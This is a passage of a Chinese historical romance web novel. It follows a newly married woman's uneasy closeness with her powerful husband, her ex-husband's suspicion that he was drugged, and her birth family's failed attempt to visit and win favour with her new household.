虽然庆幸松了一口气,但与之而来的,是无法控制和压制的空落。 “我想知道鸾儿为何突然之间便要与我拉开距离?”他继续了晚膳之间没有聊完的话茬。 祝吟鸾下意识抿唇。 沈景湛翻身,他侧过来面对着她。 祝吟鸾却是平躺着。 她感受到了他的目光,比白日里还要强烈。 可她又不能回避。 翻身往里背对着他不太礼貌,若是面对着他,又太尴尬了吧? 一时之间只能这样平躺着,忍着沈景湛投过来到她身上的目光。 不知道是不是因为两人之间的氛围焦灼,她觉得沈景湛投.射.过来的目光比往日里都要强烈,甚至有些过分炙热了。 她不敢看过去,自然不清楚她感受到的根本不是错觉异样。 而是男人在黑暗当中流露出了部分,他原本底色的深暗。 他的视线流连在她光洁的额头,挺翘的鼻尖,抿咬间翕动的唇.上。 沈景湛自觉一直很温柔,亲她的时候十分照顾她的感受,从来没有发狠.蹂.咬过她,他克制每一步,确保清醒着观察她的神色。 他清楚她身子骨的反应,知道她很欣喜,甚至已经壮了壮胆,要与他更近一步,但为何又突然退却? 不可能是因为癸水。 难不成她察觉到什么异样?但适才试探观察了她的种种反应,应当没有。 若是她知道了什么东西,明白他做了些什么,定然会避开他,不会再让他碰她的手炉,拿着去换了。 “因为…你不是要给你喜欢的人守身如玉么?”好半天了,祝吟鸾给他回了这么一句话。 第一天洞房花烛夜的后半夜,她让他假戏真做,他却没有。 “我何时说了要给我喜欢的人守身如玉?”男人声音低沉。 他的确是没有明说…… 祝吟鸾一紧张就忍不住.啃.咬.她自己的唇瓣,“我…我感受到的。” 沈景湛看着她反复.蹂.躏.她的唇瓣,洞悉她内心煎熬的同时,眸色越来越暗。 她的唇吻起来软得异常香甜,芬芳馥郁,也不知用了什么口脂,还是属于她本来的甜味。 有几次他都想重重.吮.她,但一直收敛顾忌着。 “……” 祝吟鸾觉得沈景湛问得好奇怪,但她紧张,暂时难以捋清思绪。 “鸾儿不喜欢与我亲密吗?”他又问了。 祝吟鸾沉默,想说不喜欢,可她昨日又主动去碰他,想要他…… 现在说了,他指不定会直接戳破,对着她道你说谎。 她答非所问,“我们应该按照当初约定好的方式相处。” “我一直都是按照我们当初约定好的方式相处,不知何处让鸾儿感觉到我逾越了?” 祝吟鸾被他有条有理的话问得不知怎么回,顿了一下。 沈景湛道,“莫不是我昨日何处做得不好,叫鸾儿难受了?” 他做什么又提昨日了? “…没有。”她回。 “那是怎么了?” 想让他别问了。 毕竟她是因为太喜欢跟他亲密,怕她自己失控,届时将事情发展到难以…的地步。 这样的内情,叫她怎么开口啊? 生平第一次,祝吟鸾深深感受到她自身脾性当中的羞赧,是如此的明显与严重。 她在沉默间逼迫自己冷静下来的时候,沈景湛再次一语中的。 “鸾儿忽而回避与我接触,不是因为不喜欢和我亲密,而是因为太喜欢与我亲密,对吗?” 祝吟鸾眼皮一跳。 他揣度猜测人心的本事,厉害到叫人无所遁形。 她没接话,但手骤然攥紧了被褥。 夜深人静之下,细微的动作也变得明显,沈景湛随之看去。 她没说话,但已然泄露了心声。 “既然喜欢,为何要压抑回避?” 就是这么一句话,让祝吟鸾瞬间明了沈景湛奇怪在什么地方了。 她提醒沈景湛,“你当初选我,是因为我不惦记中意你。” “嗯。”他颔首。 “你还记得,就不应该问我。” 说话间,她的脸也微微转过去,勉强算是跟他面对面说话。 “鸾儿是喜欢我这个人,还是喜欢我的身体?” 祝吟鸾,“……” 尽管已经知道了沈景湛说话直接,但……未免也太直接了吧。 他说起这件事情的语气不带一点情.欲,完全不像是在讨论男女房事,而是寻常的喝水用膳。 “不好回答吗?”等了一会没听到她的回答,沈景湛又问。 祝吟鸾,“我实在不知如何答你……” 即便是到了这个份上,只有两人在幔帐内,她还是说不出来喜欢二字。 “看来我猜对了。”他的语气是陈述,而非疑问。 说话间,他往她这边挪过来了一些。 两人之间的距离拉近了。 祝吟鸾本就睡在里侧,他的身形宽阔,靠近过来,让她感受到压迫和逼仄。 她正要开口让他不要再过来之时,沈景湛停下了。 他与她共枕。 中间仅留了一指的距离。 看着男人放大的俊颜,祝吟鸾的紧张难以消退。 “既然喜欢,不必压抑。”他温声道。 沈景湛眉眼干净,睫毛很长,他垂下时总让人觉得他温良无害。 但睁眼看过来,眸色深遂难知深浅。 祝吟鸾不敢与他继续对视,她撇开视线,“不行。” “为什么不行。” “我们这样不好。”她还是最开始的那句话。 “你有你喜欢的人,日后说不定也会……” “也会什么?”他问。 祝吟鸾没说。 沈景湛补足,“鸾儿觉得我与你迟早会和离?” “…我是怕万一。” “万一你喜欢的姑娘和离了,那你不想娶她吗?” “我虽然权柄在握,但姻缘大事,也不容反复折腾,所以我与你不会和离,我不会再娶旁人了。”他轻声道。 祝吟鸾,“…这世上之事,哪有万无一失的。” 当初卫如琢不也跟她说不会纳妾吗? 到头来他不仅纳了妾,还要娶平妻呢。 所以她不会再相信海誓山盟了,纵然白纸黑字,到头来还不是能够撕毁不认。 “鸾儿的顾虑我都明白,我们来日方长就是。” 为了和她成亲,他谋划了多久,怎么可能会让她和离。 有关这些,她自然不清楚。 祝吟鸾没说话。 静了一会,身侧的男人接着未完的话茬道,“鸾儿若只是喜欢我的身体,并不需要抗拒回避。” 祝吟鸾,“……” 好想叫他不要说前面那句话,即便他的言辞平和坦荡,但她羞啊。 “我没有。”她转身,背对着他欲盖弥彰。 “我是觉得此事说开为好,并没有要逼迫鸾儿承认的意思。” “我知道。”她手指蜷缩在胸前,捏着被褥的一角,声音很轻。 是她自己太在意,太拧巴了。 “我与鸾儿要在一处过很多年,将来收养了孩子放在膝下,势必还要瞧着他娶妻生子。” “人生路漫漫,房事之上亲密契合,行鱼水之欢,令你,令我都很愉悦,那为何要回避呢。” 祝吟鸾捕捉到了一个关键词,他说他也愉悦? 所以不只是她一个人喜欢了? 闻言,祝吟鸾略微放松了一些。 好一会过去,沈景湛没有再继续说了。 他叮嘱她好生歇息,给她掩了掩被褥,拉开了两人之间的距离躺回去原本的外侧。 祝吟鸾许久才慢慢睡着,男人却一直清醒。 翌日,她醒过来时,沈景湛又不在了,明芽说他一早便去了宫内,让她今日不必等他用膳。 沈景湛忙着朝廷的事情,倒是给她腾挪出空了。 祝吟鸾用早膳之时忍不住想到沈景湛昨日夜里说的那一番话。 “……” 膳后,她想去找沈夫人,跟着她学账,可沈夫人出门赴宴了并不在家。 祝吟鸾不好直接孤身去账房,只能留在院子里。 今日沈景湛比昨日还要回来得晚,等不及他回来一道用晚膳,她先吃了。 她月信期间容易犯困,到了时辰还是没见沈景湛回来了,又上了床榻先睡。 前几日他一直都在,骤然让她一个人歇息,祝吟鸾竟觉得有些许不习惯。 走神期间她不知道何时歇了过去, 沈景湛回来之时,已经是深夜。 他沐浴之后上榻,见祝吟鸾像只小猫一样窝在被褥里,只露出乌鸦鸦的云鬓。 看了一会,伸手将她揽了过来,吻了吻她的面颊和唇瓣。 祝吟鸾熟睡过头,毫无察觉。 “……” 卫家,内院。 经过这些时日抽丝剥茧的查访,卫如琢果然发现了一些蛛丝马迹。 他的人查到沈景湛和祝吟鸾在京城当中碰到不止一次。 街巷,药堂…还有戏班子…… 她还吃过沈景湛给她的糕点。 明面上是糕点…… 据当时赶马的车夫所说,递过来的是一个精美的食盒,谁知道里面还装了些什么? 这其中说不定就有两人私相往来的信笺。 思及此,卫如琢的脸越发沉下去。 “祝吟鸾之前撞到沈家马车一事,那会怎么不来报!” 这件事情绝对没有那么简单。 沈景湛是什么人物?这些地方他有空去吗? 沈家那么高的地位,他又是三省之一的大人,还用得着亲自出门抓药,上戏班去请人?甚至回回都能碰到祝吟鸾? 那马车不撞张家不撞李家,偏偏撞了卫家的? 祝吟鸾和离之前的半年乃至一年内,一直对他冷淡,甚至还拒绝了他的求欢,是在为沈景湛守身如玉吧? 那会子她说什么不方便,他就应该一探虚实!而不是任由她糊弄过去。 被叫来问话的马车夫跪在地上低着头,“您忙着公务,甚少过问少夫人的事情,加之……当时少夫人的贴身丫鬟叮嘱了不让声张,小的们就不敢乱说了。” “呵……” 不让声张? 卫如琢冷笑着一把拂落桌上的笔墨纸砚,怒斥:“都滚出去!” 小厮带着马车夫出了书房,碰到外面的方种月,躬了一礼,小声提醒她此刻不要进去,大人正发怒呢。 方种月淡笑,“多谢提醒,大人既有事要忙,我自然不便打扰,只是大人这几日都没怎么吃喝,劳烦小哥帮我把这鸡汤送进去吧。” “姨娘言重了,小的一定转达。” 方种月看了一眼卫如琢的书房,转身离开。 发了好大一通火气的卫如琢忽而腰痛难忍,他一手掐.扶着,一手撑着桌沿狼狈坐下。 瘫坐着缓了许久,才勉强缓过来。 睁眼之时见到凌乱不堪的地面,揉皱的宣纸上药堂二字力透纸背,异常醒目,卫如琢视线一顿。 看着看着,鬼使神差间,他的脑中忽而浮现出一个诡异的可能。 第48章 第48章当初她不孕的真相。 他的病会不会跟沈景湛或者祝吟鸾有关系? 祝吟鸾要为沈景湛守身如玉,所以给他下药? 这个诡异念头冒出来的一瞬间,他又瞬间否决,并且觉得可笑。 怎么会呢。 祝吟鸾自卑怯懦,怎么可能有那个本事和胆量给他下药? 沈景湛就算是权倾朝野只手遮天,也绝不可能在卫家地界上,神不知鬼不觉给他动手脚。 思及此,卫如琢越发嗤笑着甩开这个念头,可没一会他脸上的嗤笑又渐渐消失了。 回想过往,他这个病实在来得太蹊跷了,在娶祝吟鸾之前一直都是好好的,可自从娶了祝吟鸾的后几年,他便渐渐不能了,也不是不能,是觉得力不从心。 祝吟鸾样貌美,身段也生得特别好。 他看着她的时候,时常觉得心动,想要与她亲近。 一开始也的确是愉悦,可到了后来,面对祝吟鸾,竟觉得无福消受,因而他时常心情暴躁。 这件事情关乎男子尊严,自然是不能够往外说,对内也不能说,即便是祝吟鸾这个枕边人他也守口如瓶。 若叫祝吟鸾知道了,谁知道她会怎么想?会不会笑他? 所以,卫家的人一概不知情由,只以为他是忙碌朝廷的公务,太过于操劳甚少留在祝吟鸾的房中。 说到这个,最开始他也以为他是因为过度疲倦而身骨不振。 渐渐的,病状越来越明显,他才暗地里把不适的症状写下来,让他身边信得过的人拿去找郎中看了,抓了药回来。 吃了一段时日的补身健.体.丸的确是好了一些,但也只是缓解而已,不会过分疼痛,可还是提不起来神,振不起真正的.雄.风。 说到底,这些年并没有正儿八经去找好些的郎中看过,具体的病因不得而知。 到底是因为被下药,还是太过于操劳败了身子骨,他自己都分不清了。 后来纳了妾室,他和方种月行房,也还是那个样子,并不得什么趣味,渐渐的他也开始回避了。 现如今再找郎中看,还能够有效用吗?还能够查得出来吗? 卫如琢阴着一张脸忍不住往.深.处想。 不行,他要找郎中看看! 祝吟鸾跟他和离一个月左右立马高嫁侯府沈家,这意味着,她和沈景湛必然早有往来,那会他可是毫无察觉啊! 他不能再小看祝吟鸾了。 或许自卑怯懦,贤良安分不过就是她的伪装而已。 实际上的她巴高望上,爱慕虚荣,趋炎附势! 思来想去,卫如琢准备暗中找人看看。 若他的身子骨真是被人动了手脚,他绝对不会善罢甘休。 “……” 庞氏原是有事要找卫如琢,没想到来到院子这边,看到小厮丫鬟们抱着被打碎的笔墨纸砚出去。 “琢哥儿,这是怎么了?”庞氏追问。 卫如琢即便是平复下来了,脸色依然不怎么好。 “母亲,您不是身上不舒坦,不好好歇息,怎么过来了?” “我自然是有事来找你。”庞氏问他这些时日都在做什么?没见他去祝家,也不见祝沉檀上卫家门。 之前祝沉檀对她嘘寒问暖,可这些时日她病了,祝沉檀也没上门过问,庞氏病好能够下榻了,便来找卫如琢,可谁知道竟碰到他一脸阴沉,仿佛满头官司的衰样。 卫如琢,“……” 祝家只怕比他这边都还要乱,祝沉檀那日变脸离开,两人便再没有联络。 他觉得不对劲,让人去查沈家。 沈家是京城高门大户,在京城盘踞多年,势力强大,查沈景湛,无异于悬崖边行走,处处要小心,所以过了许久才勉强得到一些消息。 他哪里还有空去管祝家? 况且除却查沈景湛和祝吟鸾的往来之外,还有礼部的事情要忙,尚书大人又让他去帮忙解决麻烦。 这一次,还是个很棘手的麻烦,都到了竞选的最后环节,若是不去做,恐怕得罪了尚书大人,他已经焦头烂额了。 “她或许是有什么事情忙不过来吧。”卫如琢捏了捏眉心,让庞氏不要担心。 “你和她之间确定没事吗?”庞氏忧愁,“眼看着就要竞选,万万不能在这个关头失去了祝家的助力啊!” 卫如琢看着眼前庞氏的脸,她还不知道祝吟鸾高嫁的事情,若是知道,恐怕…… 说到他竞选的事情,他担心沈景湛会不会为了祝吟鸾横插.一脚? 祝吟鸾给他吹枕头风怎么办? “儿子知道了。”卫如琢还是没跟她说,甚至嘱咐她最近少出门去,身子骨才好就在家里养着。 “我的病不过都是老毛病了,一场春雨一场寒罢了,吃几剂药躺几天就会好,母亲是担心你!” “你父亲前些时日还来信问我,你与祝沉檀的婚期要拖到什么时候?我险些不知道怎么回,祝家那边到底是个什么意思?这都过了沈家的婚宴,怎么还不过来商谈何时成亲呢?” “对了。”说到这个,庞氏想起来卫如琢和祝沉檀去赴宴的事情,先是问他有没有结交到什么高官,又问他沈家喜宴的场面大不大。 沈世子是不是一表人才?见到新妇了吗?两人登不登对? “此人本事不低啊,一举高中就被提到御前,平朝廷祸乱上任中书,若是之后你有关系能够攀结,那真是平步青云了我的儿!” 庞氏提起沈景湛一脸赞赏和激动,看得卫如琢心烦不已,偏生她无意当中吐露的话还说得无比扎他的心。 简直就像是在提醒他,祝吟鸾与他和离之后嫁了多么多么好的男人,比他要强千万倍,如何叫他不生气? 若是旁人还能训斥,可面前的人是他的老母,再怎么样都不能对着她凶吼。 他忍下头疼,强行按下不耐,“母亲,婚期的事情还不着急,您先回去吧,儿子这边还要忙,您在这里不方便。” “我看着你脸色不好,一定要当心身体,我还等着抱孙子呢!” 提到后嗣,卫如琢的牙都在暗中咬紧了,脸色泛青,又不得不点头,“……” 祝家也不平静。 朱夫人那日回来之后把话递给祝大人,他听后高兴极了,连连道好。 一家子都在等着沈景湛上门,可都过去几日了,还是没有消息,不免躁动。 祝大人等不及了,又叫朱夫人去沈家探探虚实。 朱夫人虽然想去,但一想到沈夫人的脸色,不免犹豫,“要不……再等些时日吧,万一沈世子因为什么事情耽搁了呢?” “等什么等?”祝大人不满,“你知不知道殿试高中的人选出来了,其中有官员放风协助考生作.弊,如今陛下正在纠察,查到了不少高官头上。” “是吗?”朱夫人听得一愣一愣的。 她一个后宅妇人完全不知道朝廷的事情,自然觉得惊奇。 祝大人点头,“上边的人犯事下去了,陛下肯定要提拔官员填补空缺,咱们家的生哥儿虽然入了三省,却没有什么实实在在的职务,当然要趁此机会,好生跟沈家打好关系,若是有沈景湛帮忙,还愁提不上去?” 祝大人的算盘打得噼啪响,原本还在犹豫的朱夫人听到他分析了利弊,觉得有益处可图,便也开始动摇。 祝鸣生是她的亲生儿子,若是祝鸣生往上提了,她做母亲的,不也跟着脸上有光吗? 这不比女儿再嫁一个金龟婿更强? 思及此,朱夫人道,“我马上就去写帖子,今日就上门!” 祝大人点头,“不止今日去,时常也要多去,对了,你把檀儿也给带上。” 带上祝沉檀,自然是要让她进入沈家门第见沈景湛了。 朱夫人清楚祝大人的打算却没有说出来,“好。” “我不去!”祝沉檀言辞拒绝。 她想到那日祝吟鸾的风光,今日若是跟着上门,说不定还会被她羞辱。 往日里,祝吟鸾即便是嫁了卫如琢,有了身份,她也不放在眼里,经常给祝吟鸾脸色看,可如今不比从前了。 祝吟鸾的身份早就今非昔比。 她是世子夫人啊! 要是惹了祝吟鸾不快,亦或者祝吟鸾要报复她,岂不是轻而易举吗? “母亲您要去就自己去,女儿身子不好,不能跟您去了。” 朱夫人看着她一脸倔强样子,问她怎么转不过弯来。 “母亲不是让你去见祝吟鸾,而是去看沈世子啊!你怎么就想不明白?” 祝沉檀没说话。 朱夫人跟她讲,“你上次是没见到,那沈世子到底有多好!生的是玉树临风面若冠玉!更重要的是他还在御前任职!直达天听!这是多大的脸面,多大的荣耀!若是你入了他的眼睛,嫁了他,将来你可就是世子夫人,侯爵夫人,中书夫人了!” “怎么到了这个关头,就不会为自己盘算了?”朱夫人劝着劝着,她自己都急了起来。 听到世子夫人,侯爵夫人,中书夫人,几个高名儿,祝沉檀忍不住动摇了。 可转念一想,这些东西,祝吟鸾已经得到了,正坐在上面耀武扬威,她就控制不住脸色,变得十分扭曲。 “母亲把沈景湛说得那么好,他既厉害,又怎么可能会被女儿糊弄呢?” “那贱.人生的女儿都能入沈家,你是我的女儿,祝家的嫡长女,怎么就入不了?” “难不成你觉得自己比祝吟鸾差?比她弱?” 祝沉檀没说话。 在之前她的确觉得祝吟鸾不如她,她也根本瞧不上这个唯唯诺诺的庶妹。 可回来之后,她偶然去后院不经意听到小丫鬟们议论她的事情。 她们居然在背地里说她被骆家休弃,再也嫁不出去了,还讲她当初能够入骆家都是因为样貌与骆暄心上人有几分相似,实际上她连她的庶妹祝吟鸾都不上! 当时她很生气,当下就叫人把这两个嚼舌根的贱.婢.打.肿了脸,赶出祝家,可还是觉得不消气。 那些话久久萦绕在她的心头,即便她日.日.用上好的胭脂保养,依然觉得她的脸不够好,不够俏丽。 她甚至开始计较起了年岁,她只是比祝吟鸾大了一些而已,哪里就不上她了。 祝沉檀想着这些没有说话,沈夫人一看她的样子,哪里不知道她在纠结什么。 哄着她,夸她好,许久了才见她有反应。 “母亲果真觉得女儿要比祝吟鸾强吗?” “怎么不强?”朱夫人肯定道,“你当初都能将卫如琢抢过来,把祝吟鸾挤走,如今换成沈家,自然也能的,不过就是 多费些气力罢了。” “放心,母亲和你父亲,你哥哥,都是帮着你的!” 好一会,祝沉檀方才点头,“好,我随母亲去沈家。” 朱夫人笑了,招呼小丫鬟给她收拾打扮。 “……” 沈景湛忽而忙碌,祝吟鸾也不好在院子里闷着。 她月信没好,若是去找沈夫人,定然又会被她赶回院子休息,于是祝吟鸾索性去了沈老太太跟前伺候。 她过来这边,沈老太太倒是没有赶她,她让祝吟鸾帮她抄佛经,祝吟鸾一一照做了。 抄录了许多本,祝吟鸾的手微微酸涩,她活动一二,正准备继续,沈老太太身边的妈妈让她歇会吃点茶水糕点。 她刚要说不用,沈老太太道,“别抄了,真要是累到你了,听澜回来还不找我这老婆子的麻烦。” 祝吟鸾不知道接什么话,只是尴尬笑笑,谢过沈老太太给她拿的糕点瓜果,低头慢条斯理小口小口吃着。 沈老太太头疼病还没好,躺久了浑身不舒坦,她想要起来。 祝吟鸾窥见她的动作,忙净了手过去搀扶。 沈老太太倒没拒绝,由着她扶着在内院走了两圈,还是觉得不好,不如接着躺下。 祝吟鸾提议帮着她捏捏,或许会好些? 沈老太太闻言,看过去,“你会捏?” “是。”祝吟鸾没说她在卫家时常帮庞氏捏,还特地学过。 毕竟那是她的前婆家,不是娘家。 若是说了,沈老太太定然想起她嫁过人的事情,届时发难。 可她没想到,沈老太太会说,“你是世子正妻身份高贵,捏腿捶肩都是下人做的活计,你怎么能做这些?” 面对沈老太太刻意的刁难,祝吟鸾没有丝毫慌乱,她柔声道,“您是长辈,吟鸾是孙媳妇,孝敬伺候您,都是应当的。” 沈老太太哼了一下,没有继续说了。 这便是没有拒绝的意思。 祝吟鸾起身走过去,老妈妈连忙给她让位置。 沈老太太原以为祝吟鸾就是个花架子,嘴上说得好听要讨人喜欢罢了,没想到她是真的会。 让祝吟鸾捏了一会,疼痛缓解,酥愉传来。 这一会,她抬眼打量眼前的女子。 祝吟鸾衣着打扮得素雅却又不失世子夫人的身份,更没有因为高嫁了,就过分收拾她自己,恨不得让旁人看一眼就知道她身份不低,富贵无极。 这一点,沈老太太是满意的。 先前沈侯爷纳的一个妾就不安分,入了沈家,那派头比沈夫人还要收拾得显赫,还在高门宴会上招摇。 偏偏这妾又得沈侯爷宠爱,沈夫人训都不好训斥,因为这个妾,长房还闹过几次矛盾,生了不少龃龉,甚至要她出面平息,事情才算是了了。 沈老太太自然不希望祝吟鸾是这样的人,经过几日的观察,勉强算是过眼了。 今儿用抄佛经试了试她的性子,也不错的,能坐得住,沉得住气。 做为高门夫人,就害怕横冲直撞,尤其是沈家的大房夫人,行事得稳妥,说话也要谨言慎行。 但要想彻底知人心晓本性,光几日的功夫可是不够,验不出来的,人都会作伪。 “伺候人的功夫不错,难怪听澜喜欢你。”沈老太太喝了一口茶,慢悠悠道。 祝吟鸾听见了,不知道怎么回,便只是友善笑了笑,没接话。 不见她恼怒,沈老太太也没继续“刺”她。 祝吟鸾捏得人舒坦,她呷了一口茶后,索性就闭上眼睛。 没想到,这一闭眼竟然睡了过去。 察觉到沈老太太的呼吸平稳,祝吟鸾渐渐收了力道,直至彻底停下来。 老妈妈上前为沈老太太盖上薄褥。 怕吵到沈老太太,祝吟鸾悄声退到了外面正厅。 不一会,老妈妈出来道,“老太太近来都歇不好,今儿多亏了您的手法,倒叫她老人家能睡一睡了。” “您夸耀了,我这三脚猫的手法能帮上祖母安寝,实在是荣幸与巧合。”对于沈老太太身边伺候的人,她都非常尊敬。 “少夫人不必谦虚。”老妈妈笑,说这边没有什么事情了,要送祝吟鸾回去,让她也歇一歇,毕竟她月信来临,理应好生休息。 祝吟鸾多谢她,两人一道往外走的时候,她向这位老妈妈询问沈老太太的病痛。 听下来,竟发现沈老太太的毛病跟庞氏的差不多。 难怪她的手法很管用,这不是都按到了病患处,正中下怀吗? “就送到这里吧,劳烦妈妈了。”祝吟鸾叫对方止步。 “好,少夫人慢走。” 沈家太大了,即便是沈景湛已经带着她认过路了,祝吟鸾还是有些分不清楚,幸而有小丫鬟们带着。 她走得很慢,全当在散步。 绕过抄手游廊,原本想去后院看看,却没想到守门的小厮跑了过来,手里拿着帖子。 “少夫人,有客来访。” “客人?”祝吟鸾还没问是谁。 对方已经开口说是她的娘家人。 祝吟鸾心里一咯噔。 祝家的人。 想来是朱夫人回去后等不到音信,便上门来了。 “您看……要见吗?” 守门的人即便是交替更换了班,也知道上次发生的事情。 祝吟鸾想了想,“不见。” 沈景湛给朱夫人好脸色,她却不想给朱夫人面子。 应付她费时费力,还不如落个干净,直接推了。 她不露面,朱夫人能如何? 难不成要在沈家大门口闹么? 她好歹也是官眷,不可能闹出这样没脸面的事情叫人笑话。 守门的人道好。 祝吟鸾依旧绕去后院赏花。 沈夫人那边当然也得到了消息,就是不想接待才让守门的人去找祝吟鸾,没想到祝吟鸾也不见。 这倒是正中了她的意。 一想到朱夫人的嘴脸,沈夫人忍不住在心里嫌弃。 祝家夫人粗鄙,自然不要跟祝家有过多牵扯,至于沈景湛要怎么处理,全随着他去。 总归是管不了。 “是湛哥儿媳妇的亲娘家吗?” 二房夫人为这沈嘉显的事情又来找沈夫人了,就在她旁边吃茶。 听到管事的人来回话,听了全程。 “是啊。”沈夫人叹气,“不是什么省油的门户,懒得见。” 二房夫人心里盘算着,没说话。 毕竟是长房的私事,看着沈夫人的脸色也不好,求人办事,可不能怵她的眉头,提一些叫人不开心不想听的事情。 她拿出携带的贵礼,放在沈夫人面前,转了话茬,“往前显哥儿给家里寄物件,里头有罐南越出的珍珠养颜膏,一瓶凝香露。” “说是底下人孝敬的外邦珍品,我瞧着这东西名贵,给嫂嫂用才好,旁人都不配,立马就送来了。” 但凡女子自然都喜欢香料和养颜膏粉,南越那边出产的香料和养颜膏真是有价无市,二房夫人送礼真是送到心坎上了。 沈夫人也知道拿了这东西,要帮忙办什么事情。 她也不推辞,叫人收下了。 “显哥儿调任的事情我会尽力的,也让侯爷帮忙劝劝,叫听澜动容动容,看看能不能把显哥儿调回京,二弟妹且宽心吧。” “如此,就要多谢嫂嫂了。”二房夫人起身作礼。 朱夫人没想到,这一次带着祝沉檀过来,竟然吃了一个闭门羹,守门的叫她们快走。 朱夫人欣喜的脸色一变,“沈世子不在家吗?” “世子爷不在家。” “那世子夫人呢?”朱夫人又问。 “世子夫人身子骨不舒坦,不见客。” 就说是这小.贱.人在其中捣鬼! 祝沉檀脸色也不好看,“母亲,要不咱们……” 朱夫人不肯罢休,递了银钱过去贿赂,“劳烦您再帮忙通传通传吧,势必要告诉沈世子,或者世子夫人,就说她娘家人来了,看看她哪不舒坦?” 守门的人笑着收了银子,钱入袋后脸色一变,“再不走,我们可就要动手了!” 还扬了扬手里的佩剑。 朱夫人和祝沉檀吓了一跳,敢怒不敢言,“……” “母亲……”祝沉檀恨得牙痒痒,只觉得丢脸,却又不敢造次,“我们回去吧。” 朱夫人不死心不肯走,还想拖延。 不曾想对方竟然真的拔剑,吓得连忙后退下沈家台阶,还险些磕摔了个狗吃屎。 走投无路打退堂鼓时,却见沈家门开了。 第49章 第49章吻得深入。 见到沈家里头有人出来,朱夫人瞬间挺直腰板,偏头看去。 没想到是一个生面孔,不明身份,但看对方衣着贵重,带着丫鬟排场也不小,登时没敢开口。 祝沉檀被人撞见了这等遭驱赶的事情,自然也没脸,躲在朱夫人后面,面都没敢露,扯着她的袖子,低声叫她回去再说。 可朱夫人不走。 她试探着想要开口搭话,却不知道该称呼对方什么。 从沈家出 来,这是沈家的人还是沈家的客人啊? 没想到对方抬手挥退了赶人的侍卫,率先开口,甚至认出了她的身份,“这是祝家夫人,湛哥儿媳妇的亲娘家吧?” 听着来人语气和善,朱夫人面露喜色,“是……我是的,但不知夫人是……?” “我是沈家二房的主母。” “原来是沈家二房夫人!难怪看着贵气逼人,原是我眼拙……”朱夫人脸上的笑意放大,自来熟跟人说话,套近乎。 二房夫人心中看不上,面上却没表露。 倒豆子般恭维了一箩筐,朱夫人以为对方笑着打招呼,定然要请她去沈家二房做做客。 没想到她说完以后,二房夫人会道,“今日一见也算打了照面,我家中还有事,就不陪祝夫人说话了,改日再叙吧。” 朱夫人瞬间觉得尴尬,但又不好留人,只能干笑着应是,目送二房夫人离开。 沈家二房的人一走,那些侍卫又面露凶相驱赶人了。 朱夫人和祝沉檀只能脸色难堪的快速离开。 马车驱赶出京西南道,祝沉檀想起今日的屈辱开始抱怨了, “我便说不要来,母亲非抓着我一起,平白无故叫我也跟着丢了面子,现下好了,吃了闭门羹不说,还叫守门的赶下台阶,遭沈家二房的人看了笑话,若是传扬出去,别人真不知道要怎么讲呢!” 自从和离以后,她似乎就再也没一日好过了。 “我都不知道您慌里慌张来做什么?就在家里等着沈景湛上门去,会少一块肉吗!这点时日都等不了了?” 朱夫人今儿一直在吃奚落,适才讨好二房夫人也没得个益处,空着手回去祝大人那边不知道要如何交待,正烦着呢,偏生祝沉檀又跟她喋喋不休咄咄逼人。 憋不住火气当下骂了她,“你还指责起你母亲来了?” “我做这些事,上沈家门受人白眼和闲气是为了什么?!还不是为了你和你哥哥,为了你能再嫁得好些再入高门,为了你哥哥能升官晋位!你以为我是为了我自己啊?” “若是你争气些,不与骆家和离,我何至于一把年岁了还要被人戳着脊梁骨笑话,整日操劳来去!你嫌丢人,我就不嫌丢人了?!” 祝吟鸾是个小娘生的都嫁得那么好,她可是正头大房,她生的女儿怎么就比不上祝吟鸾的小娘了? 幸而还没有多少人知道祝吟鸾高嫁,否则她又要被取笑不休了,尤其是祝家的旁支媳妇,她的那些妯娌们。 祝沉檀被宠着长大,从来都是娇惯性子,这还是头一次被朱夫人劈头盖脸的骂。 朱夫人字里行间甚至提到了骆家,刺她没用,被人休弃。 当下就懵了,她眼里闪着泪水,“母亲是嫌弃女儿没用了?觉得女儿不如祝吟鸾拖了你的后腿是不是?” 朱夫人见她这样也心疼,但心中气火难消,一时没有理会,并不哄她,更冷淡道,“好生用些心吧,否则真要被祝吟鸾踩到脚底一辈子了!” 祝沉檀倒是想负气离开,可这是在马车里,又在京城大道,还没到家呢,若是下去,岂不是要被路上的人看笑话吗? 她憋着脸在马车里掉眼泪,恨得牙根痒痒,心里责骂了祝吟鸾千万遍。 “……” 那边二房夫人回了府,早在等消息的二房大人问她怎么样了? 二房夫人如实道沈夫人答应帮忙了,但只说尽力不一定确保。 “现如今陛下要督察泄题的官员,里里外外牵扯的人多了,空出来的位置也多,咱儿子要是这个关口上调不回来,那可真是要在外面磨几年了,十几年了。” 二房大人语重心长,一想到这不省心的祖宗,就忍不住叹气。 二房夫人给他倒了一盏茶,抚着他的心口宽慰了好几句,转而又提起在侯府门口撞到朱夫人的事情。 “谁?” 二房夫人,“就是祝家,景湛娶回来那女子的嫡母。” “你没同她说什么吧?”二房大人正色,坐直了身子追问。 “没呢。”二房夫人事无巨细提了一遍,“正巧出门迎面撞上,避不开便打了个招呼,我看着那祝家嫡母跟景湛娶的女子关系不大好,便没热络请人来家里坐。” 若不是顾着这一层,她原是理都不想理的,祝家门第那么低,赏个眼神都算给脸了,谁会往下结交? “如此最好。”二房大人叮嘱, “瞧着景湛无比宝贝那女子,她既与祝家交了恶,认了施家,你可别同祝家的好,免得叫那女子记恨,给景湛吹枕边风,坏了我们家的事情。” 当初拷问了沈嘉显的随从,这才知道他是调查了掺和祝家的事情,这才得罪了沈景湛。 若是再掺和,依着沈景湛心狠手辣六亲不认的脾性,说不定连他这位叔叔的官位都给找个苗头纠错降了。 为官数十载,在官场上的人,谁是干干净净的?真要以小揪大,也够闹的。 “老爷放心,我做事心里有数。” “随时记着,也要管管家里人的嘴,这些时日别闹幺蛾子。” 二房夫人点头,“好。” “…… 今日就跟昨日一样,祝吟鸾歇下了沈景湛才回来,翌日她醒的时候,沈景湛已然不在了。 倒是留了手底下的人给她回话,说朝廷事情忙碌,让她这两日在家照顾好身子,多用些饭菜。 祝吟鸾还没接话,那小厮又说,“圣上体恤世子爷,特留了宫殿准世子爷歇在宫里,不必来回奔波,可世子爷记挂着少夫人,总放心不下,说回来见见您也好呢。” 虽然知道是做戏的话,毕竟两人方才成亲,朝廷便有急事忙碌,他要是几日不回来,家里外头人免不了嚼说两句。 况且他当初跟沈家亲长说的是深爱她多年而去求娶,不做足了戏,岂不是露出马脚? 但祝吟鸾听罢,面色还是觉得很不自然。 她和沈景湛疏远了不好,太过于黏糊也叫人羞赧。 